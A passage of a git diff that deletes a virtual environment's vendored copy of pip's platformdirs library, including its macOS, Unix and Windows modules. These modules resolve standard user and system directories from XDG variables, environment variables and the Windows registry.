-        return self._first_item_as_path_if_multipath(self.site_cache_dir)
-
-    @property
-    def user_state_dir(self) -> str:
-        """:returns: state directory tied to the user, same as `user_data_dir`"""
-        return self._base_user_app_support_dir()
-
-    @property
-    def site_state_dir(self) -> str:
-        """:returns: state directory shared by users, same as `site_data_dir`"""
-        return self._base_site_dirs()[0]
-
-    @property
-    def user_log_dir(self) -> str:
-        """:returns: log directory tied to the user, e.g. ``~/Library/Logs/$appname/$version``"""
-        return self._append_app_name_and_version(os.path.expanduser("~/Library/Logs"))  # noqa: PTH111
-
-    @property
-    def site_log_dir(self) -> str:
-        """:returns: log directory shared by users, e.g. ``/Library/Logs/$appname/$version``"""
-        return self._append_app_name_and_version("/Library/Logs")
-
-    @property
-    def user_documents_dir(self) -> str:
-        """:returns: documents directory tied to the user, e.g. ``~/Documents``"""
-        return os.path.expanduser("~/Documents")  # noqa: PTH111
-
-    @property
-    def user_downloads_dir(self) -> str:
-        """:returns: downloads directory tied to the user, e.g. ``~/Downloads``"""
-        return os.path.expanduser("~/Downloads")  # noqa: PTH111
-
-    @property
-    def user_pictures_dir(self) -> str:
-        """:returns: pictures directory tied to the user, e.g. ``~/Pictures``"""
-        return os.path.expanduser("~/Pictures")  # noqa: PTH111
-
-    @property
-    def user_videos_dir(self) -> str:
-        """:returns: videos directory tied to the user, e.g. ``~/Movies``"""
-        return os.path.expanduser("~/Movies")  # noqa: PTH111
-
-    @property
-    def user_music_dir(self) -> str:
-        """:returns: music directory tied to the user, e.g. ``~/Music``"""
-        return os.path.expanduser("~/Music")  # noqa: PTH111
-
-    @property
-    def user_desktop_dir(self) -> str:
-        """:returns: desktop directory tied to the user, e.g. ``~/Desktop``"""
-        return os.path.expanduser("~/Desktop")  # noqa: PTH111
-
-    @property
-    def user_projects_dir(self) -> str:
-        """:returns: projects directory tied to the user, e.g. ``~/Projects``"""
-        return os.path.expanduser("~/Projects")  # noqa: PTH111
-
-    @property
-    def user_publicshare_dir(self) -> str:
-        """:returns: public share directory tied to the user, e.g. ``~/Public``"""
-        return os.path.expanduser("~/Public")  # noqa: PTH111  # API returns str, not Path
-
-    @property
-    def user_templates_dir(self) -> str:
-        """:returns: templates directory tied to the user, e.g. ``~/Templates``"""
-        return os.path.expanduser("~/Templates")  # noqa: PTH111  # API returns str, not Path
-
-    @property
-    def user_fonts_dir(self) -> str:
-        """:returns: fonts directory tied to the user, e.g. ``~/Library/Fonts``"""
-        return os.path.expanduser("~/Library/Fonts")  # noqa: PTH111  # API returns str, not Path
-
-    @property
-    def user_preference_dir(self) -> str:
-        """:returns: preference directory tied to the user, e.g. ``~/Library/Preferences/AppName``"""
-        return self._append_app_name_and_version(os.path.expanduser("~/Library/Preferences"))  # noqa: PTH111  # API returns str, not Path
-
-    @property
-    def user_bin_dir(self) -> str:
-        """:returns: bin directory tied to the user, e.g. ``~/.local/bin``"""
-        return os.path.expanduser("~/.local/bin")  # noqa: PTH111
-
-    @property
-    def site_bin_dir(self) -> str:
-        """:returns: bin directory shared by users, e.g. ``/usr/local/bin``"""
-        return "/usr/local/bin"
-
-    @property
-    def user_applications_dir(self) -> str:
-        """:returns: applications directory tied to the user, e.g. ``~/Applications``"""
-        return os.path.expanduser("~/Applications")  # noqa: PTH111
-
-    @property
-    def _site_applications_dirs(self) -> list[str]:
-        return ["/Applications"]
-
-    @property
-    def site_applications_dir(self) -> str:
-        """:returns: applications directory shared by users, e.g. ``/Applications``"""
-        dirs = self._site_applications_dirs
-        return os.pathsep.join(dirs) if self.multipath else dirs[0]
-
-    @property
-    def user_runtime_dir(self) -> str:
-        """:returns: runtime directory tied to the user, e.g. ``~/Library/Caches/TemporaryItems/$appname/$version``"""
-        return self._append_app_name_and_version(os.path.expanduser("~/Library/Caches/TemporaryItems"))  # noqa: PTH111
-
-    @property
-    def site_runtime_dir(self) -> str:
-        """:returns: runtime directory shared by users, same as `user_runtime_dir`"""
-        return self.user_runtime_dir
-
-    def iter_config_dirs(self) -> Iterator[str]:
-        """:yield: all user and site configuration directories."""
-        yield self.user_config_dir
-        yield from self._site_config_dirs
-
-    def iter_data_dirs(self) -> Iterator[str]:
-        """:yield: all user and site data directories."""
-        yield self.user_data_dir
-        yield from self._site_data_dirs
-
-
-class MacOS(XDGMixin, _MacOSDefaults):
-    """Platform directories for the macOS operating system.
-
-    Follows the guidance from `Apple documentation
-    `_.
-    Makes use of the `appname `, `version
-    `, `ensure_exists `.
-
-    XDG environment variables (e.g. ``$XDG_DATA_HOME``) are supported and take precedence over macOS defaults.
-
-    """
-
-
-__all__ = [
-    "MacOS",
-]
diff --git a/venv/Lib/site-packages/pip/_vendor/platformdirs/py.typed b/venv/Lib/site-packages/pip/_vendor/platformdirs/py.typed
deleted file mode 100644
index e69de29bb2d1d6434b8b29ae775ad8c2e48c5391..0000000000000000000000000000000000000000
diff --git a/venv/Lib/site-packages/pip/_vendor/platformdirs/unix.py b/venv/Lib/site-packages/pip/_vendor/platformdirs/unix.py
deleted file mode 100644
index 500d3a4be92924f3f66a4ec993f61cf12f19d3f3..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_vendor/platformdirs/unix.py
+++ /dev/null
@@ -1,321 +0,0 @@
-"""Unix."""
-
-from __future__ import annotations
-
-import os
-import sys
-from configparser import ConfigParser
-from functools import cached_property
-from pathlib import Path
-from tempfile import gettempdir
-from typing import TYPE_CHECKING, NoReturn
-
-from ._xdg import XDGMixin
-from .api import PlatformDirsABC
-
-if TYPE_CHECKING:
-    from collections.abc import Iterator
-
-if sys.platform == "win32":
-
-    def getuid() -> NoReturn:
-        msg = "should only be used on Unix"
-        raise RuntimeError(msg)
-
-else:
-    from os import getuid
-
-
-class _UnixDefaults(PlatformDirsABC):  # noqa: PLR0904
-    """Default directories for Unix/Linux without XDG environment variable overrides.
-
-    The XDG env var handling is in :class:`~platformdirs._xdg.XDGMixin`.
-
-    """
-
-    @cached_property
-    def _use_site(self) -> bool:
-        return self.use_site_for_root and getuid() == 0
-
-    @property
-    def user_data_dir(self) -> str:
-        """:returns: data directory tied to the user, e.g. ``~/.local/share/$appname/$version`` or ``$XDG_DATA_HOME/$appname/$version``"""
-        return self._append_app_name_and_version(os.path.expanduser("~/.local/share"))  # noqa: PTH111
-
-    @property
-    def _site_data_dirs(self) -> list[str]:
-        return [self._append_app_name_and_version("/usr/local/share"), self._append_app_name_and_version("/usr/share")]
-
-    @property
-    def user_config_dir(self) -> str:
-        """:returns: config directory tied to the user, e.g. ``~/.config/$appname/$version`` or ``$XDG_CONFIG_HOME/$appname/$version``"""
-        return self._append_app_name_and_version(os.path.expanduser("~/.config"))  # noqa: PTH111
-
-    @property
-    def _site_config_dirs(self) -> list[str]:
-        return [self._append_app_name_and_version("/etc/xdg")]
-
-    @property
-    def user_cache_dir(self) -> str:
-        """:returns: cache directory tied to the user, e.g. ``~/.cache/$appname/$version`` or ``$XDG_CACHE_HOME/$appname/$version``"""
-        return self._append_app_name_and_version(os.path.expanduser("~/.cache"))  # noqa: PTH111
-
-    @property
-    def site_cache_dir(self) -> str:
-        """:returns: cache directory shared by users, e.g. ``/var/cache/$appname/$version``"""
-        return self._append_app_name_and_version("/var/cache")
-
-    @property
-    def user_state_dir(self) -> str:
-        """:returns: state directory tied to the user, e.g. ``~/.local/state/$appname/$version`` or ``$XDG_STATE_HOME/$appname/$version``"""
-        return self._append_app_name_and_version(os.path.expanduser("~/.local/state"))  # noqa: PTH111
-
-    @property
-    def site_state_dir(self) -> str:
-        """:returns: state directory shared by users, e.g. ``/var/lib/$appname/$version``"""
-        return self._append_app_name_and_version("/var/lib")
-
-    @property
-    def user_log_dir(self) -> str:
-        """:returns: log directory tied to the user, same as `user_state_dir` if not opinionated else ``log`` in it"""
-        path = self.user_state_dir
-        if self.opinion:
-            path = os.path.join(path, "log")  # noqa: PTH118
-            self._optionally_create_directory(path)
-        return path
-
-    @property
-    def site_log_dir(self) -> str:
-        """:returns: log directory shared by users, e.g. ``/var/log/$appname/$version``
-
-        Unlike `user_log_dir`, ``opinion`` has no effect since ``/var/log`` is inherently a log directory.
-
-        """
-        return self._append_app_name_and_version("/var/log")
-
-    @property
-    def user_documents_dir(self) -> str:
-        """:returns: documents directory tied to the user, e.g. ``~/Documents``"""
-        return _get_user_media_dir("XDG_DOCUMENTS_DIR", "~/Documents")
-
-    @property
-    def user_downloads_dir(self) -> str:
-        """:returns: downloads directory tied to the user, e.g. ``~/Downloads``"""
-        return _get_user_media_dir("XDG_DOWNLOAD_DIR", "~/Downloads")
-
-    @property
-    def user_pictures_dir(self) -> str:
-        """:returns: pictures directory tied to the user, e.g. ``~/Pictures``"""
-        return _get_user_media_dir("XDG_PICTURES_DIR", "~/Pictures")
-
-    @property
-    def user_videos_dir(self) -> str:
-        """:returns: videos directory tied to the user, e.g. ``~/Videos``"""
-        return _get_user_media_dir("XDG_VIDEOS_DIR", "~/Videos")
-
-    @property
-    def user_music_dir(self) -> str:
-        """:returns: music directory tied to the user, e.g. ``~/Music``"""
-        return _get_user_media_dir("XDG_MUSIC_DIR", "~/Music")
-
-    @property
-    def user_desktop_dir(self) -> str:
-        """:returns: desktop directory tied to the user, e.g. ``~/Desktop``"""
-        return _get_user_media_dir("XDG_DESKTOP_DIR", "~/Desktop")
-
-    @property
-    def user_projects_dir(self) -> str:
-        """:returns: projects directory tied to the user, e.g. ``~/Projects``"""
-        return _get_user_media_dir("XDG_PROJECTS_DIR", "~/Projects")
-
-    @property
-    def user_publicshare_dir(self) -> str:
-        """:returns: public share directory tied to the user, e.g. ``~/Public``"""
-        return _get_user_media_dir("XDG_PUBLICSHARE_DIR", "~/Public")
-
-    @property
-    def user_templates_dir(self) -> str:
-        """:returns: templates directory tied to the user, e.g. ``~/Templates``"""
-        return _get_user_media_dir("XDG_TEMPLATES_DIR", "~/Templates")
-
-    @property
-    def user_fonts_dir(self) -> str:
-        """:returns: fonts directory tied to the user, e.g. ``~/.local/share/fonts``"""
-        return f"{os.path.expanduser('~/.local/share')}/fonts"  # noqa: PTH111  # API returns str, not Path
-
-    @property
-    def user_preference_dir(self) -> str:
-        """:returns: preference directory tied to the user, same as ``user_config_dir``"""
-        return self.user_config_dir
-
-    @property
-    def user_bin_dir(self) -> str:
-        """:returns: bin directory tied to the user, e.g. ``~/.local/bin``"""
-        return os.path.expanduser("~/.local/bin")  # noqa: PTH111
-
-    @property
-    def site_bin_dir(self) -> str:
-        """:returns: bin directory shared by users, e.g. ``/usr/local/bin``"""
-        return "/usr/local/bin"
-
-    @property
-    def user_applications_dir(self) -> str:
-        """:returns: applications directory tied to the user, e.g. ``~/.local/share/applications``"""
-        return os.path.join(os.path.expanduser("~/.local/share"), "applications")  # noqa: PTH111, PTH118
-
-    @property
-    def _site_applications_dirs(self) -> list[str]:
-        return [os.path.join(p, "applications") for p in ["/usr/local/share", "/usr/share"]]  # noqa: PTH118
-
-    @property
-    def site_applications_dir(self) -> str:
-        """:returns: applications directory shared by users, e.g. ``/usr/share/applications``"""
-        dirs = self._site_applications_dirs
-        return os.pathsep.join(dirs) if self.multipath else dirs[0]
-
-    @property
-    def user_runtime_dir(self) -> str:
-        """:returns: runtime directory tied to the user, e.g. ``$XDG_RUNTIME_DIR/$appname/$version``.
-
-        If ``$XDG_RUNTIME_DIR`` is unset, tries the platform default (``/tmp/run/user/$(id -u)`` on OpenBSD, ``/var/run/user/$(id -u)`` on FreeBSD/NetBSD, ``/run/user/$(id -u)`` otherwise). If the default is not writable, falls back to a temporary directory.
-
-        """
-        if sys.platform.startswith("openbsd"):
-            path = f"/tmp/run/user/{getuid()}"  # noqa: S108
-        elif sys.platform.startswith(("freebsd", "netbsd")):
-            path = f"/var/run/user/{getuid()}"
-        else:
-            path = f"/run/user/{getuid()}"
-        if not os.access(path, os.W_OK):
-            path = f"{gettempdir()}/runtime-{getuid()}"
-        return self._append_app_name_and_version(path)
-
-    @property
-    def site_runtime_dir(self) -> str:
-        """:returns: runtime directory shared by users, e.g. ``/run/$appname/$version`` or ``$XDG_RUNTIME_DIR/$appname/$version``.
-
-        Note that this behaves almost exactly like `user_runtime_dir` if ``$XDG_RUNTIME_DIR`` is set, but will fall back to paths associated to the root user instead of a regular logged-in user if it's not set.
-
-        If you wish to ensure that a logged-in root user path is returned e.g. ``/run/user/0``, use `user_runtime_dir` instead.
-
-        For FreeBSD/OpenBSD/NetBSD, it would return ``/var/run/$appname/$version`` if ``$XDG_RUNTIME_DIR`` is not set.
-
-        """
-        if sys.platform.startswith(("freebsd", "openbsd", "netbsd")):
-            path = "/var/run"
-        else:
-            path = "/run"
-        return self._append_app_name_and_version(path)
-
-    @property
-    def site_data_path(self) -> Path:
-        """:returns: data path shared by users. Only return the first item, even if ``multipath`` is set to ``True``"""
-        return self._first_item_as_path_if_multipath(self.site_data_dir)
-
-    @property
-    def site_config_path(self) -> Path:
-        """:returns: config path shared by users, returns the first item, even if ``multipath`` is set to ``True``"""
-        return self._first_item_as_path_if_multipath(self.site_config_dir)
-
-    @property
-    def site_cache_path(self) -> Path:
-        """:returns: cache path shared by users. Only return the first item, even if ``multipath`` is set to ``True``"""
-        return self._first_item_as_path_if_multipath(self.site_cache_dir)
-
-    def iter_config_dirs(self) -> Iterator[str]:
-        """:yield: all user and site configuration directories."""
-        if not self._use_site:
-            yield self.user_config_dir
-        yield from self._site_config_dirs
-
-    def iter_data_dirs(self) -> Iterator[str]:
-        """:yield: all user and site data directories."""
-        if not self._use_site:
-            yield self.user_data_dir
-        yield from self._site_data_dirs
-
-
-class Unix(XDGMixin, _UnixDefaults):
-    """On Unix/Linux, we follow the `XDG Basedir Spec `_.
-
-    The spec allows overriding directories with environment variables. The examples shown are the default values,
-    alongside the name of the environment variable that overrides them. Makes use of the `appname
-    `, `version `, `multipath
-    `, `opinion `, `ensure_exists
-    `.
-
-    """
-
-    @property
-    def user_data_dir(self) -> str:
-        """:returns: data directory tied to the user, or site equivalent when root with ``use_site_for_root``"""
-        return self.site_data_dir if self._use_site else super().user_data_dir
-
-    @property
-    def user_config_dir(self) -> str:
-        """:returns: config directory tied to the user, or site equivalent when root with ``use_site_for_root``"""
-        return self.site_config_dir if self._use_site else super().user_config_dir
-
-    @property
-    def user_cache_dir(self) -> str:
-        """:returns: cache directory tied to the user, or site equivalent when root with ``use_site_for_root``"""
-        return self.site_cache_dir if self._use_site else super().user_cache_dir
-
-    @property
-    def user_state_dir(self) -> str:
-        """:returns: state directory tied to the user, or site equivalent when root with ``use_site_for_root``"""
-        return self.site_state_dir if self._use_site else super().user_state_dir
-
-    @property
-    def user_log_dir(self) -> str:
-        """:returns: log directory tied to the user, or site equivalent when root with ``use_site_for_root``"""
-        return self.site_log_dir if self._use_site else super().user_log_dir
-
-    @property
-    def user_applications_dir(self) -> str:
-        """:returns: applications directory tied to the user, or site equivalent when root with ``use_site_for_root``"""
-        return self.site_applications_dir if self._use_site else super().user_applications_dir
-
-    @property
-    def user_runtime_dir(self) -> str:
-        """:returns: runtime directory tied to the user, or site equivalent when root with ``use_site_for_root``"""
-        return self.site_runtime_dir if self._use_site else super().user_runtime_dir
-
-    @property
-    def user_bin_dir(self) -> str:
-        """:returns: bin directory tied to the user, or site equivalent when root with ``use_site_for_root``"""
-        return self.site_bin_dir if self._use_site else super().user_bin_dir
-
-
-def _get_user_media_dir(env_var: str, fallback_tilde_path: str) -> str:
-    if media_dir := _get_user_dirs_folder(env_var):
-        return media_dir
-    return os.path.expanduser(fallback_tilde_path)  # noqa: PTH111
-
-
-def _get_user_dirs_folder(key: str) -> str | None:
-    """Return directory from user-dirs.dirs config file.
-
-    See https://freedesktop.org/wiki/Software/xdg-user-dirs/.
-
-    """
-    config_home = os.environ.get("XDG_CONFIG_HOME", "").strip() or os.path.expanduser("~/.config")  # noqa: PTH111
-    user_dirs_config_path = Path(config_home) / "user-dirs.dirs"
-    if user_dirs_config_path.exists():
-        parser = ConfigParser()
-
-        with user_dirs_config_path.open() as stream:
-            parser.read_string(f"[top]\n{stream.read()}")
-
-        if key not in parser["top"]:
-            return None
-
-        path = parser["top"][key].strip('"')
-        return path.replace("$HOME", os.path.expanduser("~"))  # noqa: PTH111
-
-    return None
-
-
-__all__ = [
-    "Unix",
-]
diff --git a/venv/Lib/site-packages/pip/_vendor/platformdirs/version.py b/venv/Lib/site-packages/pip/_vendor/platformdirs/version.py
deleted file mode 100644
index a281775fdd87971219e9e6eff0496ad77ec14cd4..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_vendor/platformdirs/version.py
+++ /dev/null
@@ -1,24 +0,0 @@
-# file generated by vcs-versioning
-# don't change, don't track in version control
-from __future__ import annotations
-
-__all__ = [
-    "__version__",
-    "__version_tuple__",
-    "version",
-    "version_tuple",
-    "__commit_id__",
-    "commit_id",
-]
-
-version: str
-__version__: str
-__version_tuple__: tuple[int | str, ...]
-version_tuple: tuple[int | str, ...]
-commit_id: str | None
-__commit_id__: str | None
-
-__version__ = version = '4.10.0'
-__version_tuple__ = version_tuple = (4, 10, 0)
-
-__commit_id__ = commit_id = None
diff --git a/venv/Lib/site-packages/pip/_vendor/platformdirs/windows.py b/venv/Lib/site-packages/pip/_vendor/platformdirs/windows.py
deleted file mode 100644
index 476ffe73605f8399db49b802f8a553211d77cff3..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_vendor/platformdirs/windows.py
+++ /dev/null
@@ -1,395 +0,0 @@
-"""Windows."""
-
-from __future__ import annotations
-
-import os
-import sys
-from pathlib import Path
-from typing import TYPE_CHECKING, Final
-
-from .api import PlatformDirsABC
-
-if TYPE_CHECKING:
-    from collections.abc import Callable
-
-# Not exposed by CPython; defined in the Windows SDK (shlobj_core.h)
-_KF_FLAG_DONT_VERIFY: Final[int] = 0x00004000
-
-
-class Windows(PlatformDirsABC):  # noqa: PLR0904
-    """`MSDN on where to store app data files `_.
-
-    Makes use of the `appname `, `appauthor
-    `, `version `, `roaming
-    `, `opinion `, `ensure_exists
-    `.
-
-    """
-
-    @property
-    def user_data_dir(self) -> str:
-        r""":returns: data directory tied to the user, e.g. ``%USERPROFILE%\AppData\Local\$appauthor\$appname`` (not roaming) or ``%USERPROFILE%\AppData\Roaming\$appauthor\$appname`` (roaming)"""
-        const = "CSIDL_APPDATA" if self.roaming else "CSIDL_LOCAL_APPDATA"
-        path = os.path.normpath(get_win_folder(const))
-        return self._append_parts(path)
-
-    def _append_parts(self, path: str, *, opinion_value: str | None = None) -> str:
-        params = []
-        if self.appname:
-            if self.appauthor is not False:
-                author = self.appauthor or self.appname
-                params.append(author)
-            params.append(self.appname)
-            if opinion_value is not None and self.opinion:
-                params.append(opinion_value)
-            if self.version:
-                params.append(self.version)
-        path = os.path.join(path, *params)  # noqa: PTH118
-        self._optionally_create_directory(path)
-        return path
-
-    @property
-    def site_data_dir(self) -> str:
-        r""":returns: data directory shared by users, e.g. ``C:\ProgramData\$appauthor\$appname``"""
-        path = os.path.normpath(get_win_folder("CSIDL_COMMON_APPDATA"))
-        return self._append_parts(path)
-
-    @property
-    def user_config_dir(self) -> str:
-        """:returns: config directory tied to the user, same as `user_data_dir`"""
-        return self.user_data_dir
-
-    @property
-    def site_config_dir(self) -> str:
-        """:returns: config directory shared by users, same as `site_data_dir`"""
-        return self.site_data_dir
-
-    @property
-    def user_cache_dir(self) -> str:
-        r""":returns: cache directory tied to the user (if opinionated with ``Cache`` folder within ``$appname``) e.g. ``%USERPROFILE%\AppData\Local\$appauthor\$appname\Cache\$version``"""
-        path = os.path.normpath(get_win_folder("CSIDL_LOCAL_APPDATA"))
-        return self._append_parts(path, opinion_value="Cache")
-
-    @property
-    def site_cache_dir(self) -> str:
-        r""":returns: cache directory shared by users, e.g. ``C:\ProgramData\$appauthor\$appname\Cache\$version``"""
-        path = os.path.normpath(get_win_folder("CSIDL_COMMON_APPDATA"))
-        return self._append_parts(path, opinion_value="Cache")
-
-    @property
-    def user_state_dir(self) -> str:
-        """:returns: state directory tied to the user, same as `user_data_dir`"""
-        return self.user_data_dir
-
-    @property
-    def site_state_dir(self) -> str:
-        """:returns: state directory shared by users, same as `site_data_dir`"""
-        return self.site_data_dir
-
-    @property
-    def user_log_dir(self) -> str:
-        """:returns: log directory tied to the user, same as `user_data_dir` if not opinionated else ``Logs`` in it"""
-        path = self.user_data_dir
-        if self.opinion:
-            path = os.path.join(path, "Logs")  # noqa: PTH118
-            self._optionally_create_directory(path)
-        return path
-
-    @property
-    def site_log_dir(self) -> str:
-        """:returns: log directory shared by users, same as `site_data_dir` if not opinionated else ``Logs`` in it"""
-        path = self.site_data_dir
-        if self.opinion:
-            path = os.path.join(path, "Logs")  # noqa: PTH118
-            self._optionally_create_directory(path)
-        return path
-
-    @property
-    def user_documents_dir(self) -> str:
-        r""":returns: documents directory tied to the user e.g. ``%USERPROFILE%\Documents``"""
-        return os.path.normpath(get_win_folder("CSIDL_PERSONAL"))
-
-    @property
-    def user_downloads_dir(self) -> str:
-        r""":returns: downloads directory tied to the user e.g. ``%USERPROFILE%\Downloads``"""
-        return os.path.normpath(get_win_folder("CSIDL_DOWNLOADS"))
-
-    @property
-    def user_pictures_dir(self) -> str:
-        r""":returns: pictures directory tied to the user e.g. ``%USERPROFILE%\Pictures``"""
-        return os.path.normpath(get_win_folder("CSIDL_MYPICTURES"))
-
-    @property
-    def user_videos_dir(self) -> str:
-        r""":returns: videos directory tied to the user e.g. ``%USERPROFILE%\Videos``"""
-        return os.path.normpath(get_win_folder("CSIDL_MYVIDEO"))
-
-    @property
-    def user_music_dir(self) -> str:
-        r""":returns: music directory tied to the user e.g. ``%USERPROFILE%\Music``"""
-        return os.path.normpath(get_win_folder("CSIDL_MYMUSIC"))
-
-    @property
-    def user_desktop_dir(self) -> str:
-        r""":returns: desktop directory tied to the user, e.g. ``%USERPROFILE%\Desktop``"""
-        return os.path.normpath(get_win_folder("CSIDL_DESKTOPDIRECTORY"))
-
-    @property
-    def user_projects_dir(self) -> str:
-        r""":returns: projects directory tied to the user, e.g. ``%USERPROFILE%\Projects``"""
-        return os.path.normpath(os.path.expanduser("~/Projects"))  # noqa: PTH111
-
-    @property
-    def user_publicshare_dir(self) -> str:
-        r""":returns: public share directory e.g. ``C:\Users\Public``"""
-        return os.path.normpath(os.environ.get("PUBLIC", str(Path("~").expanduser().parent / "Public")))
-
-    @property
-    def user_templates_dir(self) -> str:
-        r""":returns: templates directory tied to the user e.g. ``%APPDATA%\Microsoft\Windows\Templates``"""
-        return os.path.normpath(str(Path(get_win_folder("CSIDL_APPDATA")) / "Microsoft" / "Windows" / "Templates"))
-
-    @property
-    def user_fonts_dir(self) -> str:
-        r""":returns: fonts directory tied to the user e.g. ``%LOCALAPPDATA%\Microsoft\Windows\Fonts``"""
-        return os.path.normpath(str(Path(get_win_folder("CSIDL_LOCAL_APPDATA")) / "Microsoft" / "Windows" / "Fonts"))
-
-    @property
-    def user_preference_dir(self) -> str:
-        r""":returns: preference directory tied to the user, same as ``user_config_dir``"""
-        return self.user_config_dir
-
-    @property
-    def user_bin_dir(self) -> str:
-        r""":returns: bin directory tied to the user, e.g. ``%LOCALAPPDATA%\Programs``"""
-        return os.path.normpath(os.path.join(get_win_folder("CSIDL_LOCAL_APPDATA"), "Programs"))  # noqa: PTH118
-
-    @property
-    def site_bin_dir(self) -> str:
-        """:returns: bin directory shared by users, e.g. ``C:\\ProgramData\bin``"""
-        return os.path.normpath(os.path.join(get_win_folder("CSIDL_COMMON_APPDATA"), "bin"))  # noqa: PTH118
-
-    @property
-    def user_applications_dir(self) -> str:
-        r""":returns: applications directory tied to the user, e.g. ``Start Menu\Programs``"""
-        return os.path.normpath(get_win_folder("CSIDL_PROGRAMS"))
-
-    @property
-    def site_applications_dir(self) -> str:
-        r""":returns: applications directory shared by users, e.g. ``C:\ProgramData\Microsoft\Windows\Start Menu\Programs``"""
-        return os.path.normpath(get_win_folder("CSIDL_COMMON_PROGRAMS"))
-
-    @property
-    def user_runtime_dir(self) -> str:
-        r""":returns: runtime directory tied to the user, e.g. ``%USERPROFILE%\AppData\Local\Temp\$appauthor\$appname``"""
-        path = os.path.normpath(os.path.join(get_win_folder("CSIDL_LOCAL_APPDATA"), "Temp"))  # noqa: PTH118
-        return self._append_parts(path)
-
-    @property
-    def site_runtime_dir(self) -> str:
-        """:returns: runtime directory shared by users, same as `user_runtime_dir`"""
-        return self.user_runtime_dir
-
-
-def get_win_folder_from_env_vars(csidl_name: str) -> str:
-    """Get folder from environment variables."""
-    result = get_win_folder_if_csidl_name_not_env_var(csidl_name)
-    if result is not None:
-        return result
-
-    env_var_name = {
-        "CSIDL_APPDATA": "APPDATA",
-        "CSIDL_COMMON_APPDATA": "ALLUSERSPROFILE",
-        "CSIDL_LOCAL_APPDATA": "LOCALAPPDATA",
-    }.get(csidl_name)
-    if env_var_name is None:
-        msg = f"Unknown CSIDL name: {csidl_name}"
-        raise ValueError(msg)
-    result = os.environ.get(env_var_name)
-    if result is None:
-        msg = f"Unset environment variable: {env_var_name}"
-        raise ValueError(msg)
-    return result
-
-
-def get_win_folder_if_csidl_name_not_env_var(csidl_name: str) -> str | None:  # noqa: PLR0911
-    """Get a folder for a CSIDL name that does not exist as an environment variable."""
-    if csidl_name == "CSIDL_PERSONAL":
-        return os.path.join(os.path.normpath(os.environ["USERPROFILE"]), "Documents")  # noqa: PTH118
-
-    if csidl_name == "CSIDL_DOWNLOADS":
-        return os.path.join(os.path.normpath(os.environ["USERPROFILE"]), "Downloads")  # noqa: PTH118
-
-    if csidl_name == "CSIDL_MYPICTURES":
-        return os.path.join(os.path.normpath(os.environ["USERPROFILE"]), "Pictures")  # noqa: PTH118
-
-    if csidl_name == "CSIDL_MYVIDEO":
-        return os.path.join(os.path.normpath(os.environ["USERPROFILE"]), "Videos")  # noqa: PTH118
-
-    if csidl_name == "CSIDL_MYMUSIC":
-        return os.path.join(os.path.normpath(os.environ["USERPROFILE"]), "Music")  # noqa: PTH118
-
-    if csidl_name == "CSIDL_PROGRAMS":
-        return os.path.join(  # noqa: PTH118
-            os.path.normpath(os.environ["APPDATA"]),
-            "Microsoft",
-            "Windows",
-            "Start Menu",
-            "Programs",
-        )
-
-    if csidl_name == "CSIDL_COMMON_PROGRAMS":
-        return os.path.join(  # noqa: PTH118
-            os.path.normpath(os.environ.get("PROGRAMDATA", os.environ.get("ALLUSERSPROFILE", "C:\\ProgramData"))),
-            "Microsoft",
-            "Windows",
-            "Start Menu",
-            "Programs",
-        )
-    return None
-
-
-def get_win_folder_from_registry(csidl_name: str) -> str:
-    """Get folder from the registry.
-
-    This is a fallback technique at best. I'm not sure if using the registry for these guarantees us the correct answer
-    for all CSIDL_* names.
-
-    """
-    machine_names = {
-        "CSIDL_COMMON_APPDATA",
-        "CSIDL_COMMON_PROGRAMS",
-    }
-    shell_folder_name = {
-        "CSIDL_APPDATA": "AppData",
-        "CSIDL_COMMON_APPDATA": "Common AppData",
-        "CSIDL_LOCAL_APPDATA": "Local AppData",
-        "CSIDL_PERSONAL": "Personal",
-        "CSIDL_DOWNLOADS": "{374DE290-123F-4565-9164-39C4925E467B}",
-        "CSIDL_MYPICTURES": "My Pictures",
-        "CSIDL_MYVIDEO": "My Video",
-        "CSIDL_MYMUSIC": "My Music",
-        "CSIDL_PROGRAMS": "Programs",
-        "CSIDL_COMMON_PROGRAMS": "Common Programs",
-    }.get(csidl_name)
-    if shell_folder_name is None:
-        msg = f"Unknown CSIDL name: {csidl_name}"
-        raise ValueError(msg)
-    if sys.platform != "win32":  # only needed for mypy type checker to know that this code runs only on Windows
-        raise NotImplementedError
-    import winreg  # noqa: PLC0415
-
-    # Use HKEY_LOCAL_MACHINE for system-wide folders, HKEY_CURRENT_USER for user-specific folders
-    hkey = winreg.HKEY_LOCAL_MACHINE if csidl_name in machine_names else winreg.HKEY_CURRENT_USER
-
-    key = winreg.OpenKey(hkey, r"Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders")
-    directory, _ = winreg.QueryValueEx(key, shell_folder_name)
-    return str(directory)
-
-
-_KNOWN_FOLDER_GUIDS: dict[str, str] = {
-    "CSIDL_APPDATA": "{3EB685DB-65F9-4CF6-A03A-E3EF65729F3D}",
-    "CSIDL_COMMON_APPDATA": "{62AB5D82-FDC1-4DC3-A9DD-070D1D495D97}",
-    "CSIDL_LOCAL_APPDATA": "{F1B32785-6FBA-4FCF-9D55-7B8E7F157091}",
-    "CSIDL_PERSONAL": "{FDD39AD0-238F-46AF-ADB4-6C85480369C7}",
-    "CSIDL_MYPICTURES": "{33E28130-4E1E-4676-835A-98395C3BC3BB}",
-    "CSIDL_MYVIDEO": "{18989B1D-99B5-455B-841C-AB7C74E4DDFC}",
-    "CSIDL_MYMUSIC": "{4BD8D571-6D19-48D3-BE97-422220080E43}",
-    "CSIDL_DOWNLOADS": "{374DE290-123F-4565-9164-39C4925E467B}",
-    "CSIDL_DESKTOPDIRECTORY": "{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}",
-    "CSIDL_PROGRAMS": "{A77F5D77-2E2B-44C3-A6A2-ABA601054A51}",
-    "CSIDL_COMMON_PROGRAMS": "{0139D44E-6AFE-49F2-8690-3DAFCAE6FFB8}",
-}
-
-
-def get_win_folder_via_ctypes(csidl_name: str) -> str:
-    """Get folder via :func:`SHGetKnownFolderPath`.
-
-    See https://learn.microsoft.com/en-us/windows/win32/api/shlobj_core/nf-shlobj_core-shgetknownfolderpath.
-
-    """
-    if sys.platform != "win32":  # only needed for type checker to know that this code runs only on Windows
-        raise NotImplementedError
-    from ctypes import HRESULT, POINTER, Structure, WinDLL, byref, create_unicode_buffer, wintypes  # noqa: PLC0415
-
-    class _GUID(Structure):
-        _fields_ = [
-            ("Data1", wintypes.DWORD),
